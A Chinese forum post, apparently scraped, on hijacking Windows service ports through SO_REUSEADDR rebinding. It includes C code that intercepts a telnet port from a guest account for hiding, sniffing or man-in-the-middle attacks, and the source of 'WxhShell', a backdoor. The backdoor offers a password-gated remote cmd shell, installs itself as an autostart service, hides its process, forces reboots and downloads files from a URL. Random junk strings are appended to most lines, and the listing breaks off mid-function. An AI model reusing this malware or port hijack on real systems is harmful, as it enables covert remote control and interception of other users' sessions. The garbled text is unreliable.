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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7h 54j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HgQjw!  
GY$Rkg6d  
  saddr.sin_family = AF_INET; !PA:#]J  
!K-1tp$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +fVvH  
)  ;0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #`SAc`:n  
`jE[Xt"@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TUp\,T^2  
.\XRkr'-  
  这意味着什么?意味着可以进行如下的攻击: d7V/#34  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }WsPuo  
P'<i3#;7X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %p}vX9U')  
[5P-K{Ko  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ud/!@WG  
']nIa7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]ae(t`\l^  
e4YfJd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9~UR(Ts}l  
l+Wux$6U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [(n5-#1S  
g}+|0FTV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'Dfs&sm  
[Hx}#Kds  
  #include 5Dkb/Iagi  
  #include 2U./ Yfk\  
  #include Y(,RJ&7  
  #include    <f7 O3 >  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )?72 +X  
  int main() V[.{cY ?6  
  { u$JAjA  
  WORD wVersionRequested; 6m&GN4Ca  
  DWORD ret; q[Ai^79  
  WSADATA wsaData; <J^5l0)q  
  BOOL val; m'2F#{  
  SOCKADDR_IN saddr; sPK]:i C  
  SOCKADDR_IN scaddr; f,O10`4s  
  int err; | lLe^FM  
  SOCKET s; EP38Ho=[  
  SOCKET sc; Q h@Q6  
  int caddsize; 7#)k-S!B  
  HANDLE mt; H r:*p6  
  DWORD tid;   `ulQ C  
  wVersionRequested = MAKEWORD( 2, 2 ); `v?hL~  
  err = WSAStartup( wVersionRequested, &wsaData ); ho>@ $9  
  if ( err != 0 ) { !8p>4|VM  
  printf("error!WSAStartup failed!\n"); xI<l1@  
  return -1; 'wPX.h?  
  } ^$oa`B^2JM  
  saddr.sin_family = AF_INET; Apu- 9|oP  
   nDn+lWA=g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gxhp7c182  
'N{1b_v?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jZIT[HM  
  saddr.sin_port = htons(23); tM5(&cQ!d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u/W{JPlL  
  { M Q =x:p{  
  printf("error!socket failed!\n"); jO"/5 x26  
  return -1; ?Z|y-4 &>  
  } 2@(+l*.Q  
  val = TRUE; I e!KIU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m& AbH&;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7UBW3{d/u5  
  { dtuCA"D  
  printf("error!setsockopt failed!\n"); y6am(ugE  
  return -1; 2\{/|\  
  }  '0f!o&?g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /;_$:`|/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j&DlI_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,pcyU\68v  
J*g<]P&p0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T72Li"00  
  { C^C'!  
  ret=GetLastError(); #p"F$@N   
  printf("error!bind failed!\n"); a\-5tYo`u  
  return -1; <> =(BAw  
  } ]@SEOc@ j  
  listen(s,2); v*excl~  
  while(1) VIWH~UR)&!  
  { (q"S0{  
  caddsize = sizeof(scaddr); |x.[*'X@  
  //接受连接请求 aQhT*OT{Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P,S!Z&!  
  if(sc!=INVALID_SOCKET) v 'L"sgW6I  
  { z V $Z@o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *mWS+xcU(L  
  if(mt==NULL) (N}\Wft%  
  { =]Y'xzJuu  
  printf("Thread Creat Failed!\n"); [Qkj}  
  break; B%Oi1bO  
  } x=JZ"|TE  
  } Mn\L55?E(  
  CloseHandle(mt); cL %eP.  
  } _58&^:/^  
  closesocket(s); 7B _Wz9y  
  WSACleanup(); .Xta;Py|J  
  return 0; wj$3 L3  
  }   #I yM`YB0  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4>=Y@z  
  { Y0'~u+KS`5  
  SOCKET ss = (SOCKET)lpParam; ~}YgZ/U7T  
  SOCKET sc; blV'-Al  
  unsigned char buf[4096]; ^sZHy4-yK#  
  SOCKADDR_IN saddr; arPqVMVr  
  long num; ^oHK.x#{  
  DWORD val; q[Y* .%~  
  DWORD ret; D>#Jh>4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $<wU>X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]=^NTm,  
  saddr.sin_family = AF_INET; am WIA`n=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /i~n**HeF?  
  saddr.sin_port = htons(23); cRPy5['E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5[qx5|O  
  { l$p"%5 ]_  
  printf("error!socket failed!\n"); +>h'^/rAE  
  return -1; wmv/ ?g  
  } `_e1LEH  
  val = 100; X15e~;&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n;dp%SD  
  { F[|aDj@q e  
  ret = GetLastError(); 8>^O]5Wo`X  
  return -1; !U+XIr  
  } dJg72?"ka  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,e>N9\*  
  { k!,&L$sG  
  ret = GetLastError(); n47v5.Wn  
  return -1; FZtIC77X5  
  } 4~{q=-]V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RIl+QA  
  { :-.bXOB(  
  printf("error!socket connect failed!\n"); E^jb#9\R  
  closesocket(sc); AUAJMS!m  
  closesocket(ss); bc|DC,n?  
  return -1; *9Nq^+  
  } P\H$*6v(  
  while(1) rOy-6og  
  { %,*{hhfu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '`Z5 .<n7p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :>g*!hpb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h=~ TgTv  
  num = recv(ss,buf,4096,0); {)0"?$C_H  
  if(num>0) * <_8]C0>  
  send(sc,buf,num,0); tcf>9YsOr  
  else if(num==0) wGf SVA-q\  
  break; beYaQz/@W  
  num = recv(sc,buf,4096,0); g k[8'  
  if(num>0) anTS8b   
  send(ss,buf,num,0); V}kZowWD  
  else if(num==0) x;Jy-hMNl  
  break; |^i+Srh  
  } zj^Ys`nl  
  closesocket(ss); \Z^YaKj&  
  closesocket(sc); 64>o3Hb2  
  return 0 ; Q0_UBm^f  
  } tPHDnh^n]  
=5jX#Dc5.+  
'lym^^MjL+  
========================================================== l(@UpV-  
RS~jHwIh  
下边附上一个代码,,WXhSHELL !$x9s'D  
^{GnEqml&  
========================================================== w"O^CR)  
mRw &^7r  
#include "stdafx.h" z17x%jXy  
jLf.qf8qm  
#include <stdio.h> nxP>IfSA  
#include <string.h> 2#:h.8  
#include <windows.h> x-km)2x=W  
#include <winsock2.h> <3iL5}  
#include <winsvc.h> 8=H!&+aGh  
#include <urlmon.h> 7Xi)[M?)#  
hGx)X64Mw  
#pragma comment (lib, "Ws2_32.lib") 3eqnc),Z  
#pragma comment (lib, "urlmon.lib") aCe<*;b@  
%SL'X`j  
#define MAX_USER   100 // 最大客户端连接数 N246RV1W  
#define BUF_SOCK   200 // sock buffer WUSkN;idVG  
#define KEY_BUFF   255 // 输入 buffer ~*9 vn Z@  
Rdd[b?  
#define REBOOT     0   // 重启 p `)(  
#define SHUTDOWN   1   // 关机 `w1|(Sk$h  
x8xSA*@k  
#define DEF_PORT   5000 // 监听端口 NWuS/Ur`9  
.V9/0  
#define REG_LEN     16   // 注册表键长度 GpV"KVJJ/  
#define SVC_LEN     80   // NT服务名长度 ][1 *.7-  
.olDmFQD  
// 从dll定义API q$Z.5EN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mdW8RsR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #y }{ 'rF?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1-4iy_d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7RQ.oee  
e#MEDjm/)g  
// wxhshell配置信息 S+G!o]&2  
struct WSCFG { 3>Ts7 wM  
  int ws_port;         // 监听端口 fJ_d ,4  
  char ws_passstr[REG_LEN]; // 口令 \*Ro a&<!  
  int ws_autoins;       // 安装标记, 1=yes 0=no A` x_M!m  
  char ws_regname[REG_LEN]; // 注册表键名 <\< [J0  
  char ws_svcname[REG_LEN]; // 服务名 !sA[A>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SnsOuC5Ah  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E Z95)pk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \M-}(>Pfk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #;59THdtPk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E?1"&D m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O`_!G`E  
=c 3;@CO  
}; Fp52 |w_  
zi7,?bD  
// default Wxhshell configuration <u2rb6  
struct WSCFG wscfg={DEF_PORT, m%Ah]x;  
    "xuhuanlingzhe", {//;GC*  
    1, bkfwsYZx  
    "Wxhshell", TxL;qZRY ^  
    "Wxhshell", bjvpYZC\5  
            "WxhShell Service", <smi<syx  
    "Wrsky Windows CmdShell Service", 41f4zisZ  
    "Please Input Your Password: ", `NqX{26GV+  
  1, dHp(U :)  
  "http://www.wrsky.com/wxhshell.exe", n\8;4]n  
  "Wxhshell.exe" =SJwCT0;  
    }; QJ2V&t"3  
j{00iA}  
// 消息定义模块 !;'#f xW[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >*#clf;@p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WqX#T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :<$B o  
char *msg_ws_ext="\n\rExit."; y{CyjYpz^  
char *msg_ws_end="\n\rQuit."; _&!%yW@  
char *msg_ws_boot="\n\rReboot..."; <i9pJGW  
char *msg_ws_poff="\n\rShutdown..."; ~Pq(Ta  
char *msg_ws_down="\n\rSave to "; Q>qx? g  
f>$Ld1  
char *msg_ws_err="\n\rErr!"; &?\'Z~B4  
char *msg_ws_ok="\n\rOK!"; ^MJTlRUb  
ATq)8Rm\  
char ExeFile[MAX_PATH]; TEC'}%   
int nUser = 0; jx_n$D  
HANDLE handles[MAX_USER]; M>H4bU(  
int OsIsNt; 5 fpBzn$  
xlQl1lOX  
SERVICE_STATUS       serviceStatus; bo^d!/ ;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }1<_  
2,.%]U  
// 函数声明 '\yp}r'u  
int Install(void); 0Y7b$~n'Y  
int Uninstall(void); Xq"@Z  
int DownloadFile(char *sURL, SOCKET wsh); B^'Uh+Y  
int Boot(int flag); x|B$n } B  
void HideProc(void); HF@K$RPK  
int GetOsVer(void); 3,qq\gxB  
int Wxhshell(SOCKET wsl); 99Jk<x k  
void TalkWithClient(void *cs); 0@;kD]Z  
int CmdShell(SOCKET sock); uMW5F-~-+  
int StartFromService(void); M XB fX  
int StartWxhshell(LPSTR lpCmdLine); @o&.]FZs  
Gt{'` P,&9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mIu-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9y/gWE  
1]eh0H  
// 数据结构和表定义 ;DWtCtD  
SERVICE_TABLE_ENTRY DispatchTable[] = Yv0;UKd  
{ qkX}pQkG)h  
{wscfg.ws_svcname, NTServiceMain}, DtBIDU]  
{NULL, NULL} }q0lbwYlb  
}; f@@2@# 5B  
('1k%`R%  
// 自我安装 v/%q*6@  
int Install(void) UO-<~DgH  
{ FQNw89g  
  char svExeFile[MAX_PATH]; 0:K4,  
  HKEY key; =X6+}YQ"  
  strcpy(svExeFile,ExeFile); u@!iByVAg  
U'IJwGRP  
// 如果是win9x系统,修改注册表设为自启动 W`zY\]  
if(!OsIsNt) { 7/c[ f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  4{2)ZI#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " bHeNWZ  
  RegCloseKey(key); Wj N0KA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rx^vh%/ Q!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v@OyB7}  
  RegCloseKey(key); lNV%R(  
  return 0; MZ_+doN  
    } I W_:nm6  
  } [E_+fT  
} N_jCx*.G  
else { r Ntc{{3_  
{bF95Hs-  
// 如果是NT以上系统,安装为系统服务 m#[tY >Q[b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;1Kxqp z_i  
if (schSCManager!=0) IT \Pj_  
{ oYWcX9R  
  SC_HANDLE schService = CreateService $#V ^CmW.  
  ( :sT\-MpQvn  
  schSCManager, W!a~ #R/r-  
  wscfg.ws_svcname, i?^C c\gH  
  wscfg.ws_svcdisp, |.D_[QI  
  SERVICE_ALL_ACCESS, 5u ED  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~<0!sE&y  
  SERVICE_AUTO_START, 6km{= ```  
  SERVICE_ERROR_NORMAL, ,}&E=5MF\  
  svExeFile, %SV"iXxY  
  NULL, ?L|Jc_E  
  NULL, +cAN4  
  NULL, T7W*S-IW  
  NULL, PPCZT3c=  
  NULL q9n0bw^N  
  );  YM9oVF-  
  if (schService!=0) A[juzOn\  
  { h3^ &,U  
  CloseServiceHandle(schService); -la~p~8  
  CloseServiceHandle(schSCManager); U:]b&I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q?C)5(  
  strcat(svExeFile,wscfg.ws_svcname); K7&A^$`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xN t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tMaJ; 4  
  RegCloseKey(key); 02]9 OnWw  
  return 0; H~~I6D{8  
    } Ty]/F+{  
  } !=#230Y  
  CloseServiceHandle(schSCManager); mfu >j,7l  
} g;(r@>U.r  
} w;$@</  
S3"js4a  
return 1; M%7H-^{  
} !M~p __  
t;+6>sTu  
// 自我卸载 QjfQoT F  
int Uninstall(void) F<q3{}1zR  
{ %g(h%V9f  
  HKEY key; ?U0iHg{  
LX.1]T*m`  
if(!OsIsNt) { 6l#1E#]|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fSp(}'m2L  
  RegDeleteValue(key,wscfg.ws_regname); 3mn0  
  RegCloseKey(key); JWG7QH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pt8X.f,iA  
  RegDeleteValue(key,wscfg.ws_regname); zx\N^R;Jq  
  RegCloseKey(key); :>lica_  
  return 0; R<mLG $  
  } |dNtM^  
} ZNPzQ:I@  
} x_Ki5~w5  
else { :=04_5 z  
?,r bD 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "fLGXbNQ  
if (schSCManager!=0) [d!C6FT  
{ @18@[ :d"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xM%E;  
  if (schService!=0) ( 5 d ~0  
  { lwLK#_5u  
  if(DeleteService(schService)!=0) { R~b9)  
  CloseServiceHandle(schService); B$7m@|p!  
  CloseServiceHandle(schSCManager); bxP>  
  return 0; @1P1n8mH]  
  } s<qSelj  
  CloseServiceHandle(schService); : o$ R@l  
  } @u/<^j3Q  
  CloseServiceHandle(schSCManager); 1G|Q~%cv  
} bl\44VK2'  
} $X5~9s1Wl  
-mZo`  
return 1; ?{qw /&  
} vnz.81OR  
t; n6Q0  
// 从指定url下载文件 \E.t=XBn  
int DownloadFile(char *sURL, SOCKET wsh) e%G- +6  
{ ~0?p @8  
  HRESULT hr; S$]:3  
char seps[]= "/"; L4sN)EI  
char *token; h_]3L/  
char *file; }Iub{30mp  
char myURL[MAX_PATH]; 8BNsh[+  
char myFILE[MAX_PATH]; ^Gv<Xl  
I(Nsm3L  
strcpy(myURL,sURL); lGPC)Hu{`  
  token=strtok(myURL,seps); S^)r,cC  
  while(token!=NULL) iCN@G&rVw  
  { 6u7 (}K  
    file=token; /+RNPQO O  
  token=strtok(NULL,seps); u7j-uVG  
  } s~/]nz]"J  
1s\10 hK1c  
GetCurrentDirectory(MAX_PATH,myFILE); /db?ltb  
strcat(myFILE, "\\"); ~1Tz[\H#R  
strcat(myFILE, file); T-&CAD3 ,O  
  send(wsh,myFILE,strlen(myFILE),0); ~N[hY1}X[  
send(wsh,"...",3,0); CpS' 2@6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t@.gmUUA  
  if(hr==S_OK) 7OtQK`P"A  
return 0; `P/*x[?  
else U`6QD}c"s  
return 1; i*_KHK  
}U'5j/EFZ  
} 6WfyP@ f  
dGIu0\J\$  
// 系统电源模块 <zZAVGb4I  
int Boot(int flag) CX':nai  
{ Tc:W=\<  
  HANDLE hToken; ,_rarU)[J  
  TOKEN_PRIVILEGES tkp; =La}^  
9b]U&A$  
  if(OsIsNt) { eiEZtu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F:pXdU-xf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _$ixE~w-!  
    tkp.PrivilegeCount = 1; T|.Q81.NE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !u6~#.7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~n[LL)v  
if(flag==REBOOT) { 7gVWu"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )SA$hwR  
  return 0; c;U\nC<Y  
} *~!xeL  
else { <Dm6CH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +{hxEDz  
  return 0; y^@% Xrs  
} 5.?O PK6  
  } +crAkb}i  
  else { `zzX2R Je  
if(flag==REBOOT) { K+v 250J$-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #0`"gR#+  
  return 0; ynOp7ZN$  
} WP]<\_r2  
else { HAO/r`7*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "rX=G=  
  return 0; ]3={o3[:  
} ,dVCbAS@  
} (la<X <w  
sx]?^KR:  
return 1; uTl:u  
} /kw4":{]  
J$e.$ah;  
// win9x进程隐藏模块 K,IOD t  
void HideProc(void) N7oMtlvL[w  
{ J~_p2TZJ\3  
J.<eX=<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l*v([@A\  
  if ( hKernel != NULL ) 3~cOQ%#]4  
  { A^K,[8VX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M%B[>pONb7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l m  
    FreeLibrary(hKernel); K&)a3Z=(.  
  } ]#BXaBVMY  
]Rj"/(X,  
return; Q|ik\  
} UkqLLzL  
2#(7,o}Y5  
// 获取操作系统版本 JG( <  
int GetOsVer(void) w4x8 Sre  
{ mKsj7  
  OSVERSIONINFO winfo; Ki=7nKs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q#p)E=$  
  GetVersionEx(&winfo); 5z]dA~;*2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'nT#3/rL  
  return 1; o[v`Am?v  
  else . \d0lJSr  
  return 0; |iwTzlt*#  
} g$ 2M|Q  
1)YFEU&]  
// 客户端句柄模块 J:(Shd'4D  
int Wxhshell(SOCKET wsl) 8^R>y  
{ 8m1zL[.8g  
  SOCKET wsh; z=K5~nU  
  struct sockaddr_in client; i*^K)SI8  
  DWORD myID; 6pLwwZD  
:mJM=FeJ  
  while(nUser<MAX_USER) ttsB'|p s  
{ jSVO$AW~C  
  int nSize=sizeof(client); /7lkbL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iit`'}+U  
  if(wsh==INVALID_SOCKET) return 1; N)!v-z,k  
I !(yU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4z*_,@OA  
if(handles[nUser]==0) @[FFYVru  
  closesocket(wsh); ^LNc  
else >|'6J!Op  
  nUser++; #KK(Z \;  
  } 4`UT_LcI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ; Q 6:#  
N |~&Q!A&  
  return 0; YpKai3 B  
} sN g"JQ  
`UI)H*GA8  
// 关闭 socket > Qtyw.n  
void CloseIt(SOCKET wsh) ZbrE m  
{ j |i6/Pk9J  
closesocket(wsh); xsTxc&0^  
nUser--; As\5Ze9|  
ExitThread(0); c:6w >:  
} qnS7z%H8  
IY19G U9  
// 客户端请求句柄 x$Oz0[  
void TalkWithClient(void *cs) )KuvG:+9W  
{ @i68%6H`?  
# R&[+1=9j  
  SOCKET wsh=(SOCKET)cs; {Psj#.qP1  
  char pwd[SVC_LEN]; @TprS d  
  char cmd[KEY_BUFF]; =B:poh[u  
char chr[1]; )aC+qhh  
int i,j; JdRs=#X  
>'jM8=o*Ax  
  while (nUser < MAX_USER) { Yo(B8}?0!  
i\ Vpp8<B  
if(wscfg.ws_passstr) { NN:TT\!v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;MMFF{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); </=PN1=A  
  //ZeroMemory(pwd,KEY_BUFF); RnrM rOh  
      i=0; j<KC$[Kt  
  while(i<SVC_LEN) { I;v`o{  
OZ" <V^"`  
  // 设置超时 Imw x~eo  
  fd_set FdRead; 8`t%QhE2  
  struct timeval TimeOut; ks5'Z8X  
  FD_ZERO(&FdRead); O9_YVE/-]  
  FD_SET(wsh,&FdRead); )q^vitkjup  
  TimeOut.tv_sec=8; ^pjez+  
  TimeOut.tv_usec=0; 2o$8CR;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (lnQ!4LK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UBVb#FNF  
C|I 1 m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AWDjj\Q4  
  pwd=chr[0]; >gZz`CH  
  if(chr[0]==0xd || chr[0]==0xa) { X]fw9tZ  
  pwd=0; V~_nyjrJM  
  break; PsgzDhRv  
  } K;qZc\q  
  i++; PWMaB  
    } zEB1Br,  
(*RybKoaA  
  // 如果是非法用户,关闭 socket l(5-Cr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t0>{0 5  
} yd72y'zi  
Wj:QC<5 v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a  98  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' XF`&3 i  
;Kf|a}m-  
while(1) { %RN-J*s]  
ay_D.gxz  
  ZeroMemory(cmd,KEY_BUFF); hNle;&*F  
JB+pFBeY  
      // 自动支持客户端 telnet标准   9^='&U9sr  
  j=0; $<cZ<g5)  
  while(j<KEY_BUFF) { Fsf22  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;*2e;m~)?  
  cmd[j]=chr[0]; o x^lI  
  if(chr[0]==0xa || chr[0]==0xd) { aAri  
  cmd[j]=0; "Y!dn|3  
  break; 4l''/$P  
  }  YBD{l  
  j++; AD\<}/3U  
    } L:M9|/  
.A\\v6@  
  // 下载文件 xp&!Cl>C3\  
  if(strstr(cmd,"http://")) { ]M(mq`K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sZ"U=6R  
  if(DownloadFile(cmd,wsh)) [kOA+\v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x+cF1 N2.  
  else H/k W :k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n@;x!c< +  
  } y!gM)9vq  
  else { j7 =3\SO  
LJwMM  
    switch(cmd[0]) { M0SH-0T;Z  
  pV6HQ:y1  
  // 帮助 4w( vRe  
  case '?': { )$B+ 3f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !B lk=L+p  
    break; o# xg:m_py  
  } = Y-Ne6a  
  // 安装 #( sNk,^Ax  
  case 'i': { CS\tCw\Y  
    if(Install()) s[q4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U"+ ry.3`  
    else ig}e@]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WrNgV@P  
    break; 5%+}rSn7  
    } 1=Zw=ufqV  
  // 卸载 \Byk`} 9  
  case 'r': { B  bw1k  
    if(Uninstall()) SECQVA_y`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ocqB-C]  
    else Tud1xq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y,?G75wij  
    break; J md ?  
    } `b")Bx|  
  // 显示 wxhshell 所在路径 b8Rh|"J)d  
  case 'p': { En9]x"_  
    char svExeFile[MAX_PATH]; \TB%N1^  
    strcpy(svExeFile,"\n\r"); 0@K:Tq-mF  
      strcat(svExeFile,ExeFile); Om2X>/V%C  
        send(wsh,svExeFile,strlen(svExeFile),0); _S2^;n?  
    break; 4spaw?j  
    } 0BB @E(*  
  // 重启 iW@Vw{|i I  
  case 'b': { 'e>sHL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n [Xzo}  
    if(Boot(REBOOT)) @zynqh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kbYg4t]FH  
    else { &N/|(<CB  
    closesocket(wsh); r;cI}'  
    ExitThread(0); =M1a0i|d  
    } zj9bSDVL(  
    break; I3G*+6V  
    } ~jp!"f  
  // 关机 C`NBHRa>  
  case 'd': { W( &Go'9e"  
